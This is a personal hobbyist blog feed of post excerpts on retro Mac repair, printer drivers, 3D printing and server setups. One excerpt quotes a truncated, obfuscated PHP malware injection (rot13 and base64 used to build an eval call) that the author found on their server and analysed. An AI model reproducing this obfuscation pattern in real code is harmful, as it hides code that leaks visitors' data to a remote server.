Hacks on

Introducing ml1610-blaster - how you get a Samsung ML-1610 to work on macOS 10.13

Fri, 03 Nov 2017 14:32:43 +0000

The highly retro monochrome laser printer, Samsung ML-1610, continues to work just fine on macOS 10.13 High Sierra. However, getting driver support took me a long time to figure out a while ago. I got something worked out for macOS 10.12 (Sierra) and posted about it here.

To my great surprise, my old post on getting this going has become the most popular, heavily visited post on dawning.ca. So… I’ve revised things and spun this in to what I’m calling “ml1610-blaster”. There’s a github repo hosting it, here: ml1610-blaster.git

Dear Diary: Samsung ML-1610 on macOS 10.12 Sierra

Tue, 11 Apr 2017 08:25:20 +0000

New Version

A newer version is here. I now call this ml1610-blaster.

I have a trusty Samsung ML-1610 printer that I think I bought for like $90 back around 2003. It’s been an outstanding little cheapie that so far has seen me through two undergrad programs and is now seeing my wife through her third such program. Overall, it’s unremarkable, but I like it enough to keep it going.

3D Printed Hard Drive mount for 27" iMac

Fri, 03 Mar 2017 23:54:10 +0000

One of my delightful neuroses is collecting abandoned non-functioning macs and fixing them. Last week I managed to pick up a completely dead 2010 one for $174, all parts included, just totally dead. Today I got the carcus of another for $51 (no screen, no memory, no motherboard, no glass). The carcus’ power supply happens to work and the $174 unit’s problem was exactly that - a dead PSU.

MacBook Pro Corpse Reanimations

Sun, 22 Jan 2017 21:32:10 +0000

My Macintosh-hording neurosis project has equipped me with various (mostly) 2008-vintage MacBooks. I’m a particular sucker for the 17" ones. Two of them I paid $20 for, the other two were $34 and $50. Each one of them was sold for scrap as they were tested & reported as totally non-functional.

I tend to take warnings for dares.

Most actually worked fine with nearly zero effort. One needed its RAM reseated. But two of them were really dead, that is to say, I could not get them to POST. As a person who builds the odd thing, when I look at a “broken” device, I think to myself: If I were gonna make one of those from scratch, this one’s like 99% done as-is.

Dear Diary: Windows 10 on early Intel Macs

Fri, 20 Jan 2017 15:40:46 +0000

A local eRecycler is enabling me to develop kind of a thrilling computer-hording neurosis. I’ve managed to score 4 17" MacBook Pros and 2 15" units ranging from 2006-2008 vintages and it’s cost me very little. Some of these have serious problems, no matter, I’m having fun.

The 2008 Macs top-out at macOS 10.11, which is good for now. There’s some room to bump them over the edge in to Sierra, though I’m kind of pissed at Apple’s business model at the moment. I feel they’ve kind of abandoned the desktop entirely and the old machines are getting shafted the hardest. Granted they ARE old, Moore’s Law’s been on vacation for a while now. I guess we live in a sad world and anyone who buys a new Mac Pro will arrive in this well-populated sad space in about a year. 4,5,6 Apple. Seriously wtf? I know.. I know, it’s just business and the best margins are mobile. But I seriously digress.

Battle against injected PHP

Sun, 13 Nov 2016 14:18:51 +0000

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc

$strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = “st”; $strings2 .= “r_r”; $strings2 .= “ot13”; $gbz = “riny(”.$strings2(“base64_decode”); $light = $strings2($gbz.’(“nJLtX….”));’); $strings($light); //###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

USB 3.0 on 17" MacBook Pro under El Capitan

Thu, 21 Jan 2016 23:45:09 +0000

I had added USB 3.0 functionality (via a GMYLE BC628) to my Late 2011 17" MBP as per my earlier post. Mac OS X 10.11 El Capitan introduced a new layer of security that prevented my previous configuration from working.

Fortunately, others have figured out a road back.

Here are the steps: Backup everything and assume you’re about to trash your system. I am not responsible for what happens here. Boot in to your recovery partition, or on to a USB installer Execute:sudo csrutil disable kext. This disables kext signing. Boot back to your native system. (Note USB-booted environments probably don’t need the sudo component.) Download GenericUSBXHCI.kext to your Desktop Run KextBeast, install to /Library/Extensions Reboot Profit!

Cupcake 155 Episode 3

Thu, 10 Sep 2015 17:07:55 +0000

Episode #3 of my Cupcake155 project has been posted.

The key jist being that I found on complex prints, I would typically get a few major slips in the print. There often were also places where the print delayed in a location for a time, this left scars too.

Ultimately, a $10 SD board and a quick firmware change later and my prints were vastly improved.

Cupcake155 Episode 2

Sat, 14 Feb 2015 01:53:28 +0000

After roughly a month of effort, I’ve now got my old Cupcake heavily retro-fitted and running pretty well.

Cupcake155 Episode 2 gives the key details of how I modified my old MakerBot Cupcake in to something modern and unique. Others may find it helpful to re-trace my steps and perhaps get printing sooner!

Cupcake155 Episode 1

Wed, 04 Feb 2015 10:24:26 +0000

I’ve missed playing with 3D printing since I mothballed my printer years ago. It was shelved over major pains in getting the extruder to work properly. I also wasn’t especially fond of working with ABS plastic, which feels pretty toxic to me.

A few weeks back I decided that my old printer, while in bad shape, was still most of a 3D-printer. I had been looking at ready-made products I could potentially buy, but I wanted the satisfaction of doing most of it for myself. I knew right-off-the-bat that I’d be replacing the extruder as it seems clear to me vast progress has been made about that point.

Dear Diary: USB 3.0 on my MacBook

Tue, 02 Sep 2014 21:45:28 +0000

Here’s the tale of getting USB 3.0 working in a tolerable regard on my 17" MacBook Pro.

In short, it cost me about $10 and I had to install a custom, but generic kext to enable USB 3.0. Thankfully, all the heavy lifting was done for me by people with far more free time (lucky freaks).

Here’s a visual of my final result:

So come along with me on my tale of computery enhancement.

Dear Diary: Installing OSX 10.9 on Late 2007 MacBook

Sun, 13 Apr 2014 11:26:52 +0000

Here’s my notes on how I approached installing�OSX 10.9 on my Late 2007 MacBook (MacBook3,1).

Note I did most of this on a current Mac running 10.9.

Also, this kind of worked. I got the install to run but it wouldn’t boot after install. I’m probably quite close to it working. I’ll update this post with notes if I work on this further.

Steps

\t- Create USB Flash OSX 10.9 installer

Wordpress content-only custom templates (with plugin javascript (etc) still being loaded)

Sat, 22 Feb 2014 18:39:39 +0000

Today I spent a fair while on a quest to display only page content on a Wordpress site of mine. The situation is that I’m trying to make a very easily updated marketing website for an online-learning project of mine. I like using a proprietary page slider for Wordpress (and other platforms, excluding my Moodle e-learning platform). So, hacky as it is, I opted to spin up a dedicated Wordpress site that’d just host the sliders in content-only custom theme template files. Of course, this mandated rolling up the sleeves.

Software > MediaDrop Automatic Transcoding Script

Fri, 03 Jan 2014 00:54:49 +0000

I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.

All Hail Tony, The Digital Warlock

Fri, 29 Mar 2013 00:09:07 +0000

This is the tale of a man who was faced with colossal data loss. As his family photos seem to fade in to the ether and with nothing to lose, he drew a line in the digital sand. He gained a persona that day, he was no longer just “Tony: Loving husband and father”. No no, that fateful day this man also became The Digital Warlock.

Notes on creating a i7 based Hackintosh

Sat, 16 Mar 2013 00:13:45 +0000

Recently I decided to try shuffling around my hardware and try a hackintosh setup on my recently acquired i7 box. I last dabbled in this stuff many years back with a P4 box. Suffice to say, my beloved 2008 era Mac Pro is starting to show some age and while I could upgrade it, Apple’s dragged ass in updating the Mac Pro line. So, here are my notes.

Read on to see what steps should work for you, should you use similar hardware.

Trac Authenticating Through Active Directory

Mon, 26 Sep 2011 10:06:18 +0000

A minor post - mostly for my own notes..

I was setting up an instance of Trac and I wanted Active Directory authentication going. I’ve had this before, but I recently learned of Centrify which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.

I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:

Geekery Datacentre Project Completed

Mon, 04 Apr 2011 10:55:27 +0000

When it was but a closet

The Initial Setup

And Finally…

Shortly after moving in to my house, I opted to use a room for my Geekery (formerly known as “Nerdery”).. I dedicated circuit for power installed to make this closet remotely suitable to set up my hacky server “rack” (AKA Ikea Shelf) in.

Update (Apr 26)

This hack has been posted on Hackaday, Howtogeek and geeknmod (I suppose some others too). Coolness.

Liquid-Fluoride Thorium Reactor

Fri, 01 Apr 2011 10:40:36 +0000

I went to a Protospace talk recently where I listened to a wonderful 4 hour talk about Thorium based reactors. Suffice to say it was time wonderfully well spent. I’m so energized and psyched. I’ve really liked Nuclear power in the past, but that’s given way to this even better alternative. Seems a great deal safer and just all round “better” in every dimension.

Here’s an early video from the talk. A buddy is working on a refined version combining multiple angles (some of which I filmed).

Calgary Traffic Web Cams

Wed, 23 Feb 2011 13:45:43 +0000

For a while I’ve had this Calgary Traffic page that brings together live web cam images from the city’s public traffic website. I didn’t really like that I couldn’t see all the cameras from the view they give, so I whipped up a page to do it for me..

Anyway, I just updated the page as I found they’ve since added another 30 cameras since the last time I looked. I also added a little more brains to my script for this.

Quick Recipe for MediaWiki with AD logins

Wed, 02 Feb 2011 13:24:40 +0000

Here’s a quick recipe for getting a server up with MediaWiki running and having Active Directory Logins working with it… I’ll warn you, there are other ways of doing this. I find this to satisfy my needs, but if you manage to cause the world to implode, I won’t be held responsible.

Step 1: Set up your server

I created an Ubuntu 10.10 server VM for this, use whatever if you have some sort of issue against doing the same as me.

Getting Synergy (or whatever) to run automatically in Snow Leopard

Thu, 16 Dec 2010 01:26:06 +0000

Here you see the

If you’re geeky like me, then you may be a lover of Synergy..

Well, many of us have long since used some of the old funky tricks for getting Synergy to start up automatically (like the ol LoginWindow trick). But that seems to not be so helpful (for me anyway), as of upgrading to Apple’s Mac OSX Snow Leopard (10.5).

Erlenmeyer Flask of Drinking

Fri, 18 Jun 2010 15:42:06 +0000

I’ve long since loathed the wide range of drinking vessels that I know react with my water. I’m already seriously irritated about the mandatory fluoridation of my drinking water. So I hardly like that drinking from a metal container tends to make my water taste metallic. Then there’s my instinctual concerns about anything plastic.

This led me to glass. However, I remained unconvinced that typical glass products are plain nonreactive glass.. Thus, I decided upon chemistry glasswares. From there, I decided to run with an Erlenmeyer Flask as it’ll sit well on my desk and can defend against the attacks of cat tongues.

Retro Lamp goes HypnoOrb

Thu, 03 Dec 2009 09:40:17 +0000

Candice saved this hideous old lamp from a bulldozer (literally) and for the last year and a bit we’ve had it hanging up in our basement for extra ambient lighting. The light was setup only to be turned off/on by pulling/placing the plug and that part’s so sketch that we rarely use the thing. So when it came time to replace a bulb, I decided to use a HypnoOrb instead of a more typical bulb. ** **

MakerBot Plastruder Modified For Slightly Enhanced Awesomeness

Mon, 26 Oct 2009 14:35:21 +0000

Hello world, so I’ve been working very hard at getting my most awesome MakerBot working. It’s been a patience invoking venture and also extremely educational. The MakerBot employs some rather brilliant little tricks that make it simple, strong and friggin cheap. It’s a great gadget to have, though it’s definitely NOT for those who want everything now and aren’t capable of taking their time to do the job correctly.

Meet My Mod

So, in trying to get my MakerBot rockin, I’ve had to debug some stuff in my assembly. The instructions given on assembly are outstanding considering how much stuff you need to do to build one. That said, they’re not flawlessly exhaustive either - and this isn’t yet an exact science. I found myself frustrated by the positioning of the circuit board (I’ll just call it a PCB for now) positioned on the thing that outputs the plastic (Plastruder/RepRap). As you can see in my included photos, I’ve moved the PCB off to the side and flipped it behind the Plastruder.

World, meet my first home-made circuit board

Thu, 30 Jul 2009 07:02:04 +0000

My very first PCB

Well, with the priceless aid of my dear friend HappyThawts, I’ve managed to produce my first home-made Printed Circuit Board!

How it went

There were a bunch of weird issues that came up in making it and thus it’s not all that ideal, though I could hack it to work. The main challenge was that my copper clad boards were actually covered with PhotoResist (for masking boards via UV). The process we used entailed working directly on a layer of Copper. Thankfully Happy realized that Acetone would probably send the PhotoResist on it’s merry way to aqueous exile in my trash-chemicals bucket. She was dead-on there.

Toor Camp 2009 in Review

Tue, 14 Jul 2009 02:55:18 +0000

Well I’ve been home from Toor Camp 2009 for a week now and I’m feeling it’s about time to post my personal review of all of this.

In Summary

\t- **In Short: **It was awesome

\t- **In slightly less-short: **It was rough in terms of heat, closed silo and drama

\t- **The Bottom Line: **I’ll be going next year

\t- Photos Here

The Good

Super Mouse Hack

Mon, 16 Mar 2009 21:46:05 +0000

I did this cool mouse mod where I put a wireless card inside of my mouse - I love it because the mouse looks exactly the same as before, except now it has wireless functionality!!! This hack got featured over on Hackaday.com!

Roll on over to the project page for this hack!